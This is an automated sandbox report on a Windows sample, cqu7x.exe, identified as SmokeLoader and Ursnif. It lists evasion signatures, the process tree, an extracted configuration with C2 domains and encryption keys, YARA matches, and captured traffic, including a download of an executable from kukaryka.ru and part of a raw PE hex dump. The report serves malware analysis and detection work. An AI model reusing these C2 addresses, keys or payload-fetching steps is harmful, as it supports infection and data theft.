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Windows Analysis Report
cqu7x.exe

Overview

General Information

Sample Name:	cqu7x.exe
Analysis ID:	743908
MD5:	e449924b8aa04fa2e032511cf86d2482
SHA1:	bc9c00e0841a84fbc45d9ef36422eac3590b590f
SHA256:	b9fd7622c3fcfdd6eb9b2cb917a3cb64eb35c61221de4866303ca88d828d5bed
Infos:

Detection

Ursnif, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Yara detected Ursnif

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Maps a DLL or memory area into another process

Writes or reads registry keys via WMI

Found API chain indicative of debugger detection

Machine Learning detection for sample

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Found evasive API chain (may stop execution after checking system information)

Deletes itself after installation

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Writes registry values via WMI

Checks if the current machine is a virtual machine (disk enumeration)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

PE file contains executable resources (Code or Archives)

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Dropped file seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

cqu7x.exe (PID: 1924 cmdline: C:\Users\user\Desktop\cqu7x.exe MD5: E449924B8AA04FA2E032511CF86D2482)

explorer.exe (PID: 3528 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

3196.exe (PID: 5156 cmdline: C:\Users\user\AppData\Local\Temp\3196.exe MD5: 969DB79BF21624D4135B30DF17777ABA)

loader_250246_15072022_2203_31102022.exe (PID: 3524 cmdline: "C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe" MD5: F777E421EAB950176F802D8B92A50F7A)

vcivdjd (PID: 5384 cmdline: C:\Users\user\AppData\Roaming\vcivdjd MD5: E449924B8AA04FA2E032511CF86D2482)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "srPNiXjpv7wJ4ljQO2Cz+d/1vQBpygFC+rxzA2ZfCG08A38OH/syLbdWurZUpeEopKx867ngBKiBCYKNKuEDO5TdpRu4icgODSbD5/RNGSb+8EPLgpbbUWScIJhsIrETgOb66YOp+zXevxRZPgG4/Be11WPFR9E0BCGig1wWjBqPcgDkZrDVTybbNAiB7WBjbG26Z+ggDYdJguf/gj1lSfHj+pVn5ZXxO1AaPWJ6kcSiCUWT5R2TFH550ig+/ppqRx4AuhLwYOZC0vaWmmGmwIQY5kixhB7e1gjnjAY57OHcecvOgqGpesvGL4Tg09kRioFbkNzrDQj66EB4YZ2LyeusAf9F2LccLOvlZsjgV04=", "c2_domain": ["telemetry.skype.com", "spotuoyoliusdd.ru", "sspotuoyobermanoba4.ru", "gdospotuoyluiprada8.ru", "messpotuoyoosd.ru", "klspotuoyka93hhu8.ru", "chespotuoynedr.ru"], "botnet": "15072022", "server": "50", "serpent_key": "NAyL8tmsHrJ4ZWxJ", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Threatname: SmokeLoader

{"C2 list": ["http://klenoviycdesss.ru/", "http://pali44unkis9.ru/", "http://goalichkindomik.ru/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.586811866.0000000001318000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0xff0:$a1: /C ping localhost -n %u && del "%s" 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xca8:$a5: filename="%.4u.%lu" 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe72:$a9: &whoami=%s 0xe5a:$a10: %u.%u_%u_%u_x%u 0xc22:$a11: size=%u&hash=0x%08x 0xc13:$a12: &uptime=%u 0xda7:$a13: %systemroot%\system32\c_1252.nls 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
00000006.00000002.586811866.0000000001318000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\ 0x1868:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000002.415776182.0000000002381000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.415776182.0000000002381000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x384:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.415123167.0000000000520000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.415123167.0000000000520000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x784:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000003.459393089.00000000004E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.471661867.0000000000513000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4e78:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.415096817.0000000000510000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000004.00000002.471455998.00000000004D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000004.00000002.471472153.00000000004E0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.471472153.00000000004E0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x784:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000002.471974631.0000000000911000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.471974631.0000000000911000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x384:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.415328456.0000000000553000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4ed8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.586624507.0000000000D39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000001.00000000.401881839.0000000002B21000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000000.401881839.0000000002B21000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x384:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000003.322194744.0000000000520000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: loader_250246_15072022_2203_31102022.exe PID: 3524	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x2224:$a5: filename="%.4u.%lu" 0x2522:$a5: filename="%.4u.%lu" 0x1cec:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x1c19:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x1fda:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x22dd:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa5ac:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa5d1:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa75d:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x26a8:$a9: &whoami=%s 0x2690:$a10: %u.%u_%u_%u_x%u 0x219e:$a11: size=%u&hash=0x%08x 0x2193:$a12: &uptime=%u 0x2613:$a13: %systemroot%\system32\c_1252.nls 0x27b5:$a13: %systemroot%\system32\c_1252.nls 0x2759:$a14: IE10RunOnceLastShown_TIMESTAMP
Process Memory Space: loader_250246_15072022_2203_31102022.exe PID: 3524	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0x2153:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x2454:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x1cec:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x1e98:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x21f0:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0x24ee:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0x2084:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0x2388:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0x22b4:$a9: Software\AppDataLow\Software\Microsoft\ 0x25b9:$a9: Software\AppDataLow\Software\Microsoft\ 0x2c1f:$a9: Software\AppDataLow\Software\Microsoft\ 0x2c6c:$a9: Software\AppDataLow\Software\Microsoft\
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.vcivdjd.4d0e50.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.3.cqu7x.exe.520000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.2.vcivdjd.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
6.2.loader_250246_15072022_2203_31102022.exe.d394a0.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
6.2.loader_250246_15072022_2203_31102022.exe.430000.1.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
4.3.vcivdjd.4e0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.cqu7x.exe.510e50.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.cqu7x.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 3 entries

Snort Signatures

ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18 - Source IP: 192.168.2.4 - Destination IP: 37.140.192.158

Timestamp:	192.168.2.437.140.192.15849695802851815 11/11/22-12:22:52.606242
SID:	2851815
Source Port:	49695
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: cqu7x.exe	ReversingLabs: Detection: 92%
Source: cqu7x.exe	Metadefender: Detection: 40%			Perma Link

Antivirus detection for URL or domain

Source: http://dindunketagestan.ru/	Avira URL Cloud: Label: malware
Source: http://klenoviycdesss.ru/	Avira URL Cloud: Label: malware
Source: http://goalichkindomik.ru/	Avira URL Cloud: Label: malware
Source: http://pali44unkis9.ru/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen7
Source: C:\Users\user\AppData\Roaming\vcivdjd	Avira: detection malicious, Label: TR/AD.GenSHCode.nsnoi

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\3196.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	ReversingLabs: Detection: 88%
Source: C:\Users\user\AppData\Roaming\vcivdjd	ReversingLabs: Detection: 92%
Source: C:\Users\user\AppData\Roaming\vcivdjd	Metadefender: Detection: 40%	Perma Link

Machine Learning detection for sample

Source: cqu7x.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\vcivdjd	Joe Sandbox ML: detected

Source: 6.2.loader_250246_15072022_2203_31102022.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen7
Source: 5.2.3196.exe.2aed320.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 6.0.loader_250246_15072022_2203_31102022.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen7
Source: 4.0.vcivdjd.400000.0.unpack	Avira: Label: TR/AD.GenSHCode.nsnoi
Source: 0.0.cqu7x.exe.400000.0.unpack	Avira: Label: TR/AD.GenSHCode.nsnoi
Source: 5.2.3196.exe.2ae3f04.0.unpack	Avira: Label: TR/Patched.Ren.Gen4

Source: 00000000.00000002.415776182.0000000002381000.00000004.10000000.00040000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://klenoviycdesss.ru/", "http://pali44unkis9.ru/", "http://goalichkindomik.ru/"]}
Source: 6.2.loader_250246_15072022_2203_31102022.exe.d394a0.2.raw.unpack	Malware Configuration Extractor: Ursnif {"RSA Public Key": "srPNiXjpv7wJ4ljQO2Cz+d/1vQBpygFC+rxzA2ZfCG08A38OH/syLbdWurZUpeEopKx867ngBKiBCYKNKuEDO5TdpRu4icgODSbD5/RNGSb+8EPLgpbbUWScIJhsIrETgOb66YOp+zXevxRZPgG4/Be11WPFR9E0BCGig1wWjBqPcgDkZrDVTybbNAiB7WBjbG26Z+ggDYdJguf/gj1lSfHj+pVn5ZXxO1AaPWJ6kcSiCUWT5R2TFH550ig+/ppqRx4AuhLwYOZC0vaWmmGmwIQY5kixhB7e1gjnjAY57OHcecvOgqGpesvGL4Tg09kRioFbkNzrDQj66EB4YZ2LyeusAf9F2LccLOvlZsjgV04=", "c2_domain": ["telemetry.skype.com", "spotuoyoliusdd.ru", "sspotuoyobermanoba4.ru", "gdospotuoyluiprada8.ru", "messpotuoyoosd.ru", "klspotuoyka93hhu8.ru", "chespotuoynedr.ru"], "botnet": "15072022", "server": "50", "serpent_key": "NAyL8tmsHrJ4ZWxJ", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Code function: 6_2_004347E5 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

Source: cqu7x.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\cqu7x.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source:	Binary string: C:\tayaho\fijopeyado\yitopiwozobog\zolusay pe.pdb8hC source: cqu7x.exe, vcivdjd.1.dr
Source:	Binary string: C:\tayaho\fijopeyado\yitopiwozobog\zolusay pe.pdb source: cqu7x.exe, vcivdjd.1.dr

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: dindunketagestan.ru
Source: C:\Windows\explorer.exe	Domain query: kukaryka.ru

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2851815 ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18 192.168.2.4:49695 -> 37.140.192.158:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://klenoviycdesss.ru/
Source: Malware configuration extractor	URLs: http://pali44unkis9.ru/
Source: Malware configuration extractor	URLs: http://goalichkindomik.ru/

Source: Joe Sandbox View

ASN Name: HostingvpsvilleruRU HostingvpsvilleruRU

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Fri, 11 Nov 2022 11:22:52 GMTContent-Type: application/x-msdos-programContent-Length: 177152Connection: keep-aliveLast-Modified: Sun, 06 Nov 2022 19:06:18 GMTETag: "2b400-5ecd200734c2c"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2c 79 63 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 08 01 00 00 aa 01 00 00 00 00 00 c1 26 01 00 00 20 00 00 00 40 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 77 26 01 00 4a 00 00 00 00 40 01 00 e4 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c7 06 01 00 00 20 00 00 00 08 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e4 a7 01 00 00 40 01 00 00 a8 01 00 00 0a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 03 00 00 02 00 00 00 b2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 26 01 00 00 00 00 00 48 00 00 00 02 00 05 00 c0 3f 00 00 64 4b 00 00 0b 00 00 00 09 00 00 06 24 8b 00 00 53 9b 00 00 40 3f 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 17 2a 00 0a 17 2a 00 13 30 03 00 82 00 00 00 01 00 00 11 2b 4f 38 50 00 00 00 16 38 50 00 00 00 2b 2a 7e 37 00 00 04 2b 4d 2b 4e 2b 4f 2b 57 2b 5b 1f 30 25 2c 09 32 09 2b 58 16 2d f0 1f 39 31 04 16 0b de 1d 09 16 2d f9 17 58 0d 09 7e 39 00 00 04 08 28 9d 00 00 06 17 2c e4 32 c5 17 25 2c ba 2a 07 2a 02 38 ab ff ff ff 0c 38 aa ff ff ff 0d 38 aa ff ff ff 08 2b b0 09 2b af 28 9a 00 00 06 38 a7 ff ff ff 0a 38 a3 ff ff ff 06 38 9f ff ff ff 06 2b a5 00 00 13 30 03 00 82 00 00 00 01 00 00 11 2b 4f 38 50 00 00 00 16 38 50 00 00 00 2b 2a 7e 37 00 00 04 2b 4d 2b 4e 2b 4f 2b 57 2b 5b 1f 30 25 2c 09 32 09 2b 58 16 2d f0 1f 39 31 04 16 0b de 1d 09 16 2d f9 17 58 0d 09 7e 39 00 00 04 08 28 9d 00 00 06 17 2c e4 32 c5 17 25 2c ba 2a 07 2a 02 38 ab ff ff ff 0c 38 aa ff ff ff 0d 38 aa ff ff ff 08 2b b0 09 2b af 28 9a 00 00 06 38 a7 ff ff ff 0a 38 a3 ff ff ff 06 38 9f ff ff ff 06 2b a5 00 00 13 30 03 00 82 00 00 00 01 00 00 11 2b 4f 38 50 00 00 00 16 38

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rocmdbvx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: dindunketagestan.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://froxojju.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: dindunketagestan.ru
Source: global traffic	HTTP traffic detected: GET /iTunesHelper.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: kukaryka.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://quvycqdb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 243Host: dindunketagestan.ru

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 11 Nov 2022 11:22:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingX-Powered-By: PHP/7.4.28Data Raw: 37 0d 0a 03 00 00 00 6f 77 a2 0d 0a 30 0d 0a 0d 0a Data Ascii: 7ow0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 11 Nov 2022 11:22:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingX-Powered-By: PHP/7.4.28Data Raw: 32 66 0d 0a 00 00 c7 1f f0 9f 73 69 1b 62 99 0f 82 1d ee d6 67 70 f6 13 5b f9 f7 14 59 8f 9d 94 11 86 35 da 31 f2 b3 54 89 df 14 59 f4 30 77 7e 19 f3 d3 0d 0a 30 0d 0a 0d 0a Data Ascii: 2fsibgp[Y51TY0w~0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 11 Nov 2022 11:22:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingX-Powered-By: PHP/7.4.28Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0

Source: loader_250246_15072022_2203_31102022.exe, 00000006.00000002.586272240.0000000000683000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telemetry.skype.com/drew/
Source: explorer.exe, 00000001.00000000.351811387.0000000008260000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.385722347.0000000008260000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.412288858.0000000008260000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rocmdbvx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: dindunketagestan.ru

Source: unknown

DNS traffic detected: queries for: dindunketagestan.ru

Source: global traffic

HTTP traffic detected: GET /iTunesHelper.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: kukaryka.ru

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Ursnif

Source: Yara match	File source: 6.2.loader_250246_15072022_2203_31102022.exe.d394a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.loader_250246_15072022_2203_31102022.exe.430000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.586624507.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 4.2.vcivdjd.4d0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.cqu7x.exe.520000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vcivdjd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.vcivdjd.4e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cqu7x.exe.510e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cqu7x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.415776182.0000000002381000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.415123167.0000000000520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.459393089.00000000004E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.471472153.00000000004E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.471974631.0000000000911000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
